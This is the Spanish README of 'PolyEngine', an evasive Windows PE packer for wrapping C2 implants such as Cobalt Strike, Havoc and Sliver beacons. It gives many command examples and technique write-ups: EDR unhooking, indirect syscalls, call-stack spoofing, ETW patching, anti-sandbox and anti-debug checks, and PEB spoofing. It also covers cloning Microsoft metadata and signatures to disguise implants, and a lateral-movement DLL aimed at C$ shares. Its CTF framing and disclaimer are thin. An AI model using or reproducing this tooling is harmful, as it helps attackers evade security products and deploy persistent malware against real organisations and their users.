
PolyEngine es un empaquetador de PE evasivo diseñado para desafíos CTF y educación en seguridad de Windows a bajo nivel. Se centra en evadir las heurísticas de EDR y AV mediante una pila en capas de ejecución en memoria y técnicas de ofuscación.
PolyEngine es un empaquetador PE evasivo de grado de investigación diseñado para desafíos CTF y educación en seguridad de Windows de bajo nivel. Se centra en evadir heurísticas de EDR y AV mediante una pila en capas de ejecución en memoria y técnicas de ofuscación.
Este es un proyecto paralelo en el que he estado trabajando por un tiempo. He usado Claude Code para implementar y corregir algunas de las técnicas que quería implementar en mi propio empaquetador PE. Hay muchos comentarios sobre las funciones y lo que hacen, ya que fue una gran experiencia de aprendizaje para mí y Claude lo hace a la perfección (soy malo en eso). Espero que ayude a algunas personas a aprender algunos internals de Windows o a evadir algunos AV y detecciones estáticas de soluciones más avanzadas cuando aborden esos ProLabs 🏯.
🔥 Un gran agradecimiento a MalDevAcademy por todos los materiales para crearlo y la inspiración.
🌩 Gracias a vx-underground por la inspiración a través de un tweet tonto con un gato ridículo.
Aviso legal: Esta herramienta está destinada exclusivamente a pruebas de seguridad autorizadas, competiciones CTF y uso educativo. El uso contra sistemas sin permiso explícito está prohibido. El autor no asume ninguna responsabilidad por el mal uso.
Orden de compilación: Stub primero, luego Builder. Stub Release|x64 genera stub_v0.bin..stub_v3.bin; Builder incrusta uno en .rsrc.
Asegúrate de que stub_v0.bin..stub_v3.bin estén en el directorio de trabajo (o pasa --stub).```
Builder.exe [OPTIONS]
Target PE (.exe/.dll) or raw shellcode (.bin) Payload type is auto-detected from the MZ header - no flag needed. Output executable
Loader: --stub Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin] --preset PRINT|MEDIA|NETWORK|RANDOM Module stomping DLL preset [default: PRINT] --overload Module overloading instead of stomping (NtCreateSection/NtMapViewOfSection, not in PEB LDR) --keep-alive ExitThread(0) instead of ExitProcess (required for C2 implants that spawn their own threads) --unhook Restore original .text bytes in ntdll/kernel32/ kernelbase from \KnownDlls\ clean copies (overwrites EDR inline hooks before any payload syscall)
Payload (PE/DLL only, silently ignored for shellcode): --export DLL export to invoke after DllMain --arg Argument passed to the export [max 127 chars]
Evasion (all ON by default): --spoof-name Process name for PEB spoof [default: random from pool] Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe SearchIndexer.exe taskhostw.exe spoolsv.exe wlrmdr.exe WMPDMC.exe hvix64.exe --exec-ctrl-name Semaphore name for exec-ctrl check [default: wuauctl] (max 31 chars) --sleep-fwd-ms Sleep duration for sleep-fwd check [default: 500] Detection threshold: 90% of elapsed --uptime-min Uptime threshold for uptime check [default: 2] --hammer-s API-hammer delay duration [default: 3] --disable <token,token...> Disable one or more features (comma-separated, repeatable)
OPSEC tokens: etw EtwEventWrite patch (ETW telemetry suppression) spoofing Call-stack spoofing (SilentMoonwalk RSP pivot) peb PEB path/cmdline spoof tls TLS anti-debug callback (patches loader stub before embedding)
Sandbox/debug check tokens: hammer API-hammer timing delay (VirtualAlloc/Free loop) debugger Debugger detection (PEB flags / NtQueryInformationProcess) api-emu API emulation probe (RtlComputeCrc32 identity check) exec-ctrl Execution-control semaphore (re-execution detection) sleep-fwd Sleep-forwarding detection (timing) uptime System uptime check cpu CPU count check (< 2 logical cores) screen Screen resolution check (<= 1024 px width) files Recent-files count check (< 5 RecentDocs subkeys) all Disable every token listed above
Identity spoofing: --pfx PFX certificate container to sign the output with --pfx-pass PFX passphrase [omit if PFX has no password] --ts-url RFC 3161 timestamp URL [default: no timestamping] OPSEC: timestamping reveals build IP/time to the TSA. Enable only when signing from an isolated VM, or when the signature must survive cert revocation. --clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory from a donor PE (e.g. notepad.exe, OneDrive.exe). Explorer "Details" tab shows donor company/product/version; file icon matches donor; "Digital Signatures" tab shows donor's signer (HashMismatch — defeats visual inspection only). Name output to match donor OriginalFilename field. When combined with --pfx: real signature overwrites cloned cert. --uac Embed a UAC elevation manifest (requireAdministrator). Output PE prompts for admin privileges on launch. Applied as Phase 10.5 (after packing, before signing).
Examples: Builder.exe implant.exe packed.exe Builder.exe implant.exe packed.exe --stub stub_v2.bin Builder.exe shellcode.bin packed.exe --keep-alive Builder.exe beacon.dll packed.exe --export Start --keep-alive Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe" Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5 Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000 Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx Builder.exe implant.exe packed.exe --uac Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
---
## Ejemplos
Ejemplos prácticos agrupados por escenario. Cada opción es de exclusión voluntaria (la evasión está completamente activada por defecto), por lo que la invocación más simple ya obtiene la pila completa.
<details>
<summary><b>Empaquetado básico - EXE / DLL / shellcode</b></summary>
Empaqueta un EXE no administrado. El constructor detecta automáticamente el encabezado `MZ` y enruta a través de la ruta RunPE:```
Builder.exe implant.exe packed.exe
Empaqueta shellcode raw independiente de posición (Cobalt Strike .bin, msfvenom -f raw, etc.). Sin MZ → llamada directa al búfer descomprimido:```
Builder.exe beacon.bin packed.exe
Empaqueta un DLL y llama solo a su `DllMain` predeterminada (sin exportación):```
Builder.exe payload.dll packed.exe
Utilice un stub de una ubicación no predeterminada:``` Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
</details>
<details>
<summary><b>Payloads DLL con exportaciones - Havoc / Sliver / beacons personalizados</b></summary>
Llama a una exportación nombrada después de que `DllMain` retorne. La mayoría de los implantes C2 se distribuyen como una DLL con una única exportación de entrada (ej. Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
Pasa un argumento de cadena a la export (máx. 127 caracteres). Útil para payloads que toman una cadena de configuración, URL o comando de shell:``` Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage" Builder.exe loader.dll packed.exe --export Run --arg "C:\Windows\System32\calc.exe"
`--keep-alive` es necesario para cualquier payload que genere sus propios hilos - sin él, el loader llama a `ExitProcess` y mata el beacon.
</details>
<details>
<summary><b>Implants de larga duración (beacons de C2)</b></summary>
Cobalt Strike / Sliver / Havoc generan un hilo de beacon y regresan. El hilo del loader debe terminar sin cerrar el proceso:```
Builder.exe beacon.exe packed.exe --keep-alive
Builder.exe beacon.bin packed.exe --keep-alive
Builder.exe demon.dll packed.exe --export Start --keep-alive
El stub del descifrador se oculta dentro de la sección .text de un DLL benigno de Windows. Elija el preset cuyos módulos cargados parezcan más legítimos para el contexto objetivo:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
`PRINT` (predeterminado) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. Común en la mayoría de las estaciones de trabajo.
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. Se adapta a una carga que ya necesita API de red cargadas.
`RANDOM` - tres índices aleatorios del grupo completo (incluyendo `bcrypt.dll`, índice 9).
Cambio de pisado de `LoadLibraryW` a sobrecarga de `NtCreateSection`+`NtMapViewOfSection` (el DLL nunca entra en `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
Restaura los bytes .text limpios de ntdll, kernel32, kernelbase desde \KnownDlls\ sobre cualquier hook inline de EDR. HellsHall ya evita los hooks sensibles de Nt*; --unhook solo es necesario cuando el propio payload llama a APIs Win32 hookeadas (p. ej. LoadLibrary, CreateProcess):```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
</details>
<details>
<summary><b>Suplantación de PEB - enmascarando el proceso</b></summary>
Anula el nombre de suplantación elegido automáticamente. Elige algo que se ajuste al proceso padre / contexto de lanzamiento (Macro de Office → `RuntimeBroker.exe` se ve extraño, `WmiPrvSE.exe` se integra mejor):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
Mayor retardo de martillo contra sandboxes pacientes que se ejecutan durante decenas de segundos antes de juzgar:``` Builder.exe implant.exe packed.exe --hammer-s 10
Mayor umbral de tiempo de actividad: solo ejecutar si la máquina ha estado activa durante al menos 30 minutos (la mayoría de los sandboxes crean una nueva VM por muestra):```
Builder.exe implant.exe packed.exe --uptime-min 30
Detección más estricta de avance de suspensión (sueño más corto, más difícil de adelantar rápidamente sin error observable):``` Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
Nombre personalizado del semáforo para la verificación de control de ejecución (evita conflictos con otra muestra que usa el valor predeterminado `wuauctl`):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
Apila todo para un perfil paranoico:``` Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
</details>
<details>
<summary><b>Desactivar funciones para depuración / trabajo de laboratorio</b></summary>
Al iterar en un depurador, la devolución de llamada TLS y las comprobaciones del depurador se activan inmediatamente. Desactive ambas para adjuntar libremente:```
Builder.exe implant.exe packed.exe --disable tls,debugger
Omitir toda verificación de sandbox (aún mantiene las funcionalidades de OPSEC activas: parche ETW, suplantación de PEB, suplantación de pila de llamadas):``` Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
Lo mismo, más corto:```
Builder.exe implant.exe packed.exe --disable all
Cobalt Strike beacon DLL, host con temática de red, evasión completa, nombre de mutex personalizado:``` Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
Havoc Demon shellcode, sobrecarga en lugar de stomping, mayor hammer delay:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
EXE de etapa 2 para un CTF donde controlas el disparador y no necesitas anti-debug:``` Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
DLL auxiliar de movimiento lateral con un argumento de ruta:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
Implante a largo plazo disfrazado como un binario común de Microsoft, pila de evasión completa:``` Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
Muestra empaquetada con un certificado autofirmado real + identidad VERSIONINFO coincidente:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test
Visual Studio 2022 (MSVC v143), solo Release|x64. Abrir PolyEngine.sln.
El orden de compilación es importante:
x64/Release/stub_v0.bin … stub_v3.bin (POLY_VARIANT=0..3)Builder/x64/Release/Builder.exe (o OutDir de la solución)Cada stub_v*.bin es un PE con entrada de enlazador EntryPoint únicamente (sin CRT). Las variantes difieren en el orden de las fases OPSEC y en el diseño de señuelo/isla; HellsHall/Moonwalk se mantienen compartidos. El Builder elige uno al azar desde el CWD (o mediante --stub), ejecuta StubMorph y luego incrusta el payload bajo un ID RT_RCDATA por compilación.
MASM: Stub.vcxproj → HellsHall.asm; Builder → Engine/DecryptorStub.asm. No hay CMake, ni Makefile.
Para añadir un nuevo hash de API: calcular Djb2HashA("ApiName") (mismo algoritmo que en ApiHashing.cpp), agregar un global g_Hash_* en ApiHashing.h, inicializarlo en ApiHashing_InitHashes().
Tres componentes que implementan una canalización pack → cifrar → inyectar: Builder empaqueta el PE/shellcode de entrada, Engine (librería compartida) proporciona primitivas de criptografía/compresión/mutación, Stub es el ejecutor en tiempo de ejecución incrustado en el PE de salida.
Output.exe (= stub_v* variant + StubMorph + .rsrc payload) ├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs ├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags) ├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls) ├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind) ├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3): │ Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb │ (HellsHall.asm + g_Spoof* layout identical in every variant) ├── Loader_DecryptExec — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload); │ LZNT1 decompress; restore stomped .text └── Loader_RunPayload — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode); keep-alive: ExitThread (PE) or Sleep park (raw SC)
</details>
---
## Técnicas de Evasión
<details>
<summary><b>Variantes del Loader — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>
Stub Release|x64 construye **cuatro** loaders vía MSBuild (`POLY_VARIANT=0..3`, `IntDir` separado). Cada binario tiene un orden de fase OPSEC diferente y tamaños de señuelo/isla por variante (`PolyIslands.c`), por lo que los hashes estáticos divergen. Compartidos y **nunca** bifurcados por variante: `HellsHall.asm`, diseño de datos SilentMoonwalk (`g_SpoofSyntheticStack`), marcas de marcador TLS/ResID.
| Variante | `Loader_OpsecPhase` orden |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |
El Builder sin `--stub` elige aleatoriamente entre `stub_v0.bin`..`stub_v3.bin` en el CWD (`CryptGenRandom`). `--stub <path>` fuerza un archivo.
</details>
<details>
<summary><b>StubMorph en tiempo de empaquetado</b></summary>
Después de los parches de marcadores TLS/ResID y antes de escribir el PE de salida, `StubMorph_Apply` (`Engine/StubMorph.c`) muta la imagen del loader seleccionado en el lugar:
- `TimeDateStamp` plausible extraído de **[ahora−5y, ahora]** — un DWORD completamente aleatorio puede caer en el futuro, lo cual es un indicador heurístico
- nombres de sección con perfil de toolchain (estilo MSVC / MinGW / Delphi / NSIS, elegido por compilación; omite `.rsrc`, `.reloc`, `.tls`, `.CRT`) — nombres aleatorios de 8 caracteres activarían heurísticas de empaquetadores estilo UPX
- limpiar `IMAGE_DIRECTORY_ENTRY_DEBUG` + checksum del PE (recalculado después si `--pfx`)
- reescribir los rellenos de las islas POLY (marcadores `50 4C 59 A0` … `AF` en `PolyIslands.c`, incl. la isla `g_PolyDecoy`) con bytes aleatorios de la **misma longitud**, luego aleatorizar los propios marcadores de etiqueta — ningún patrón `PLY` o contenido de señuelo fijo sobrevive en el PE de salida; sin crecimiento del PE, sin correcciones de reloc
No toca HellsHall, spoof globals, ni los marcadores de etiqueta utilizados por el parcheo TLS/ResID.
</details>
<details>
<summary><b>Llamadas al sistema indirectas — HellsHall</b></summary>
Todas las operaciones NT sensibles (`NtProtectVirtualMemory`, `NtAllocateVirtualMemory`, etc.) pasan a través de syscalls indirectas en lugar de los stubs de modo usuario hookeados en la ntdll del proceso:
1. Al inicio, `Syscalls_Init()` analiza el Directorio de Exportación de la ntdll del proceso y recolecta el RVA de cada función `Zw*` en una tabla plana.
2. Los SSNs se derivan por **ordenamiento por RVA** (variante HellsGate/FreshyCalls): todos los RVA de `Zw*` se ordenan; el índice ordenado == SSN. Agnóstico a los hook por diseño — funciona incluso si los hooks de EDR han reescrito los prólogos de las funciones, porque los hooks no reordenan las exportaciones.
3. Se localiza un trampolín `syscall; ret` (`0F 05 C3`) dentro de la sección `.text` de la ntdll del proceso. La secuencia de 3 bytes es la cola estándar de todo stub `Nt*`. Los hooks inline de EDR en modo usuario apuntan al *punto de entrada* de las funciones `Nt*` exportadas (primeros 5–15 bytes) — nunca a la instrucción syscall al final del stub, porque parchear el medio de un stub rompería sus semánticas. Por lo tanto, los bytes en cualquier sitio coincidente no están modificados, son idénticos a un mapeo limpio de `\KnownDlls\`, y viven en memoria MEM_IMAGE respaldada por `C:\Windows\System32\ntdll.dll` en disco. `g_CleanTrampoline` apunta directamente allí — sin mapeo secundario de ntdll, sin copia MEM_PRIVATE.
4. Todas las syscalls saltan a `g_CleanTrampoline` — los hooks de EDR en los puntos de entrada de Nt* exportados son evadidos. Desde la perspectiva de un caminante de pila del lado del kernel de ETW, el marco hoja ya aterriza dentro de `ntdll.dll` (sin IOC de "unbacked syscall").
</details>
<details>
<summary><b>Desenganche en modo usuario — <code>--unhook</code></b></summary>
Pase opcional que se ejecuta una vez después de `Syscalls_Init()` y antes de cualquier syscall relevante para el payload. Para cada uno de `ntdll`, `kernel32`, `kernelbase`:
1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — bytes de imagen limpios (la misma sección compartida que el loader mapeó originalmente, antes de que cualquier EDR pudiera instalar hooks).
2. `memcmp` página por página del `.text` vivo contra la copia limpia.
3. Donde los bytes difieren (= hook inline de EDR): `NtProtect RX→RW`, `memcpy` de bytes limpios sobre el hook, `NtProtect RW→RX`.
4. Desmapear y cerrar.
Esto restaura la semántica normal de `ntdll.dll`/`kernel32.dll`/`kernelbase.dll` para cualquier llamada Win32 posterior (recorridos de PEB, `LoadLibrary`, etc.). Se omite cuando `--unhook` está ausente — HellsHall por sí solo ya evita todos los hooks `Nt*` sensibles, por lo que el desenganche es optativo (es una acción más pesada con un pequeño riesgo de romper layouts de hook inusuales).
</details>
<details>
<summary><b>Suplantación de la pila de llamadas — Pivot RSP de SilentMoonwalk</b></summary>
Los EDRs monitorean la pila de llamadas del hilo en el momento en que se dispara una syscall para verificar que la cadena de llamadas parezca legítima. PolyEngine derrota esto con un **pivot RSP estilo SilentMoonwalk** — sin breakpoints de hardware, sin manejador VEH, sin excepciones:
1. `StackSpoof_Init()` escanea la sección `.text` de ntdll (y cualquier otra sección `IMAGE_SCN_MEM_EXECUTE`) en busca de dos gadgets:
- **Gadget 1** — `add rsp, imm8; ret` (`48 83 C4 XX C3`) dentro de una función cuyo `UNWIND_INFO` anuncia un delta `alloc` coincidente con `imm8`. Restringido a `imm8 < 0x20` para que la cadena no colisione con argumentos de pila reenviados.
- **Gadget 2** — `jmp rbx` (`FF E3`), ubicado en cualquier sección ejecutable mediante escaneo de bytes sin procesar, pero solo se acepta si el sitio coincidente se encuentra dentro de una `RUNTIME_FUNCTION` cuyo `UNWIND_INFO` se analiza limpiamente. El `allocDelta` de la función determina dónde se planta `RtlUserThreadStart` en la pila sintética, por lo que un gadget sin una función de runtime coincidente rompería la cadena visible para EDR. Saltar a la mitad de una instrucción más larga está bien — la CPU decodifica `FF E3` desde la dirección del gadget independientemente del byte precedente.
2. Se dispone una `g_SpoofSyntheticStack[32]` estática de modo que el `ret` del trampolín recorre gadget1 → gadget2 → de vuelta al punto de continuación del loader, con `RtlUserThreadStart` plantado más abajo como la raíz aparente del hilo.
3. Cada llamada a `HellsHallSyscall` (cuando el spoofing está habilitado) hace `push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11`. El kernel ve un RSP apuntando a la pila sintética, anclada en código legítimo de ntdll.
4. Los argumentos de syscall basados en pila (5..10) se reenvían desde el marco del llamante a la pila sintética en los offsets `0x28..0x50` *antes* del pivot — sin esto, el kernel leería direcciones de gadget como argumentos y devolvería `STATUS_ACCESS_VIOLATION`.
5. Después de la syscall, el `jmp rbx` del gadget2 aterriza en `AfterJmpPoint`, que restaura RSP desde `g_SpoofSavedRsp`, hace pop de `rbx`, y retorna al loader.
6. `StackSpoof_Cleanup()` limpia `g_SpoofEnabled` para que los propios hilos del payload vean direcciones de retorno reales.
</details>
<details>
<summary><b>Module Stomping / Module Overloading</b></summary>
En lugar de `VirtualAlloc(RWX)`, el decryptor polimórfico se ejecuta dentro de la sección `.text` de una DLL de Windows cargada legítimamente. Nunca se asigna memoria RWX.
**Stomping (por defecto — `LoadLibraryW`, la DLL aparece en PEB LDR):**
1. `ModuleStomp_Alloc()` itera las tres DLLs seleccionadas por `--preset`. Los índices de DLL se almacenan en `.rsrc` y se resuelven desde `g_DllPool` en tiempo de ejecución.
2. Se elige la primera DLL con una sección ejecutable suficientemente grande para el stub del decryptor.
3. Los bytes originales de `.text` se guardan en un buffer privado `RW` antes de tocar la sección.
4. El stub del decryptor (solo) se copia en la región stomped. El blob del payload permanece en una asignación `RW` **separada** (`pEncryptedPayload`).
5. `NtProtect RW → RX`: la región stomped se vuelve ejecutable. La asignación del payload permanece `RW` — el decryptor recibe su dirección en `RCX` (primer argumento de la ABI de Windows x64).
6. El decryptor se ejecuta, descifra `pEncryptedPayload` en el lugar. `NtProtect RX → RW` inmediatamente después del retorno.
7. La región se limpia, se restauran los bytes originales, la sección se vuelve a establecer a `PAGE_EXECUTE_READ`.
**Overloading (`--overload` — `NtCreateSection(SEC_IMAGE)` + `NtMapViewOfSection`, NO en PEB LDR):**
- Mismo patrón de guardar/restaurar e invariante sin RWX que stomping.
- La DLL se mapea directamente desde el handle de archivo sin procesar — nunca aparece en `PEB.Ldr`, derrotando herramientas que enumeran módulos cargados.
- Después del uso: `NtUnmapViewOfSection` descarta las páginas privadas COW, eliminando toda evidencia de la escritura.
**Resultado en ambos casos:** la región de memoria es `MEM_IMAGE` respaldada por el archivo DLL en disco — los escáneres de memoria ven un mapeo de imagen legítimo, no una región anónima de `VirtualAlloc`.
</details>
<details>
<summary><b>Decryptor Polimórfico — MutationEngine</b></summary>
Cada compilación produce un stub decryptor ASM x64 único de 34 bytes, nunca idéntico a ninguna compilación anterior:
- **Inserción de NOP / basura** — instrucciones NOP/basura aleatorias entre instrucciones funcionales, extraídas de un grupo de 22 entradas que abarcan RBX/R10/R11/R12/R13 (PUSH/POP, XCHG, TEST, auto-copia MOV)
- **Intercambio de registros** — los registros funcionales se reasignan aleatoriamente entre conjuntos equivalentes
- **Sustitución de instrucciones** — cada paso de cifrado se emite en una de tres variantes semánticamente equivalentes (ej. `xor al, k` / `sub al, ~k+1` / `not al; xor al, ~k`)
- **Variantes del contador de bucle** — `inc r9` aleatorizado entre `inc r9`, `add r9,1`, `lea r9,[r9+1]`; la comparación intercambiada entre `cmp rdx,r9` y `cmp r9,rdx`
- **Permutación de bloques** — 4 bloques de configuración independientes (puesta a cero de RCX/RDX/R10/R11) reordenados mediante barajado Fisher-Yates (24 ordenaciones posibles)
- **Intercambio del orden de la clave XOR** — el flag aleatorio `xorSwapped` invierte el orden de aplicación de la clave externa; cifrador + descifrador permanecen sincronizados mediante un bit de metadatos
El cifrado CompoundEncrypt (XOR→ROL→ADD→XOR en cada byte) se mapea limpiamente a la plantilla de cuatro instrucciones del decryptor. El MutationEngine emite una combinación de variantes diferente para cada paso, haciendo inviable la coincidencia de firmas estáticas del bucle del decryptor.
</details>
<details>
<summary><b>Pila de Cifrado</b></summary>
| Capa | Algoritmo | Fuente de clave |
|---|---|---|
| Externa | XTEA-CTR (128-bit) | Runtime-derived base XOR per-build `CryptGenRandom` salt |
| Interna | CompoundEncrypt (XOR+ROL+ADD+XOR) | Per-build `__rdtsc`-seeded compound key, embedded in decryptor stub |
**Derivación de clave XTEA externa** (`Xtea_DeriveKey`): la clave de 128 bits se construye en tiempo de ejecución a partir de aritmética de constantes de números irracionales (φ, √2, √3, √5, √10 escalados a 32 bits). Todas las cinco constantes semilla se dividen en pares XOR `volatile` (`A ^ B`) para que no aparezca ninguna secuencia de bytes irracionales en texto plano en `.rdata` — la recuperación requiere ejecutar la derivación. No existe un blob de clave contiguo de 16 bytes en el binario. La clave final es `derived_base XOR key_salt`, donde `key_salt` son 16 bytes de salida de `CryptGenRandom` almacenados en `.rsrc` — cada compilación produce un flujo de clave único.
**Magic dinámico (sin ancla YARA estática):** el bloque de metadatos `.rsrc` termina con `magic = key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3]`. El Stub localiza el bloque escaneando hacia atrás y verificando este invariante — no existe `0xDEADBEEF` ni otra constante fija en la que una regla YARA pueda anclarse.
</details>
<details>
<summary><b>Callback TLS Anti-Debug</b></summary>
El Cargador de Windows invoca los callbacks TLS desde `.CRT$XLB` **antes de que `AddressOfEntryPoint`** reciba el control — antes de que cualquier payload esté en memoria. En ese momento, el entorno se sondea sin dependencias de API externas (solo intrínsecos de CPU y lecturas directas de PEB):
| Verificación | Campo PEB / Heap | Condición de detección |
|---|---|---|
| BeingDebugged | `PEB+0x002` | cualquier depurador Win32 adjunto |
| NtGlobalFlag | `PEB+0xBC` (x64) | bits `0x70` establecidos por ntdll bajo un depurador |
| Heap Flags | `ProcessHeap+0x70` (x64) | valor != 2 (HEAP_GROWABLE) |
| Heap ForceFlags | `ProcessHeap+0x74` (x64) | valor != 0 |
Al detectar: `__fastfail(FAST_FAIL_FATAL_APP_EXIT)` — omite todos los manejadores de excepciones en modo usuario (VEH, SEH, UnhandledExceptionFilter). WER registra `STATUS_STACK_BUFFER_OVERRUN (c0000409)`, indistinguible de un crash legítimo de seguridad de memoria.
Se puede deshabilitar en tiempo de compilación con `--disable tls`. El Builder parchea un marcador de 5 bytes en el stub del loader para neutralizar el callback antes de incrustarlo.
</details>
<details>
<summary><b>Parcheo de ETW</b></summary>
`Opsec_PatchEtw()` escribe un no-op de 3 bytes en los primeros bytes de `EtwEventWrite` en la ntdll del proceso:```asm
; After patch:
33 C0 xor eax, eax ; return STATUS_SUCCESS (0)
C3 ret
Opsec_SpoofPeb() reescribe:
PEB.ImageBaseFileName — nombre del proceso mostrado por Process Hacker, etc.PEB.ImagePathName y PEB.CommandLine — ruta completa visible en listados de procesosPEB.BeingDebugged = 0, PEB.NtGlobalFlag = 0 — banderas anti-depuraciónProcessHeap.Flags = 2, ProcessHeap.ForceFlags = 0 — banderas de depuración de montónEl nombre de suplantación se establece mediante --spoof-name. Si se omite, Builder elige aleatoriamente de un conjunto de 9 procesos comunes de System32 (RuntimeBroker.exe, SgrmBroker.exe, WmiPrvSE.exe, , , , , , ) usando .
Evasion_RunChecks() se ejecuta antes de cualquier inicialización de syscall y utiliza únicamente la capa de API de Win32. Las comprobaciones se pueden activar/desactivar individualmente mediante --disable.
Comprobaciones duras — un solo positivo provoca la salida inmediata:
Todos los nombres de API de Windows se reemplazan en tiempo de compilación con hashes Djb2 precalculados almacenados como variables globales g_Hash_*. GetProcAddressH() recorre el directorio de exportación y hashea cada nombre exportado hasta encontrar una coincidencia — no aparece ninguna cadena de API en texto plano en la tabla de importación ni en .data.
--clone-metaPaso opcional posterior a la construcción en Fase 11 que copia tres atributos cosméticos de un PE donante al archivo de salida ya construido. Se ejecuta después de BuildInfectedPE (que reescribe completamente .rsrc — cualquier cosa escrita antes se perdería) y antes de SignPeWithPfx (que sobrescribe el directorio de certificados con una firma real si también se proporciona --pfx).
CloneMeta_CopyResources carga el donante como un archivo de datos plano (LOAD_LIBRARY_AS_DATAFILE — deliberadamente sin LOAD_LIBRARY_AS_IMAGE_RESOURCE, que activa la redirección de recursos MUI en archivos del sistema y dirige las búsquedas de RT_GROUP_ICON a un .mui satélite de idioma que no contiene iconos). RT_VERSION se enumera mediante EnumResourceLanguagesA para recopilar todos los ID de idioma; cada variante se escribe con . Para , se selecciona el grupo con el ID entero más bajo (el que Explorer usa por convención para el icono del shell). no se utiliza para la búsqueda real de datos — falla con (1813) en los identificadores de incluso para recursos que acaba de encontrar, porque la ruta de fallback está rota en el modo de archivo de datos. En su lugar, extrae el exacto almacenado en el donante, y luego lo usa directamente. Todas las llamadas a abren el PE de salida con — el indicador de fusión conserva la entrada de carga útil existente de la Fase 10.
--pfxPaso opcional posterior a la construcción. Cuando se proporciona --pfx, Builder firma la salida empaquetada mediante mssign32!SignerSignEx2 (resuelto en tiempo de ejecución — sin dependencia de mssign32 en tiempo de enlace, ni signtool.exe en la estación de trabajo del operador). La firma se ejecuta como Fase 9 después de que BuildInfectedPE regrese, porque escribir la firma reescribe IMAGE_DIRECTORY_ENTRY_SECURITY y recalcula la suma de comprobación del PE; cualquier edición posterior de recursos invalidaría la firma.
El PFX se importa con PKCS12_NO_PERSIST_KEY | PKCS12_PREFER_CNG_KSP | PKCS12_INCLUDE_EXTENDED_PROPERTIES. NO_PERSIST_KEY mantiene la clave privada residente solo en memoria — no se escribe ningún archivo de contenedor de claves en %APPDATA%\Microsoft\Crypto, lo que de otro modo vincularía la estación de trabajo del operador con la muestra firmada. PREFER_CNG_KSP es necesario para PFX modernos (PowerShell , OpenSSL ≥3.x); sin él, falla con (). El resumen es SHA-256.
La carga útil del recurso no está fija en el ID 101. En tiempo de empaquetado, Builder:
WORD ID de RT_RCDATA mediante CryptGenRandom en el rango 0x0100..0x7EFFg_PayloadResIdMarker[4..5] en el stub del cargador (etiqueta {0xB1,0x0B,0x1D,0xE0} en Payload.c; valor predeterminado sin parchear = 101)StubMorph_Apply en la imagen del stubUpdateResource(RT_RCDATA, id) = [blob cifrado con XTEA | PAYLOAD_METADATA (280 bytes)]En tiempo de ejecución, Stub lee el marcador y llama a FindResourceW con ese ID. El bloque de metadatos se localiza escaneando hacia atrás desde el final del recurso (hasta 128 bytes, tolerando el relleno de alineación de UpdateResource) y verificando magic == XOR(key_salt[0..3]).
No existe ningún valor fijo en ningún lugar del bloque — cada campo es aleatorio (key_salt, magic) o específico de la compilación. El ID de RT_RCDATA también es por compilación. YARA no puede anclarse en una secuencia de bytes estática o un ID de recurso fijo.
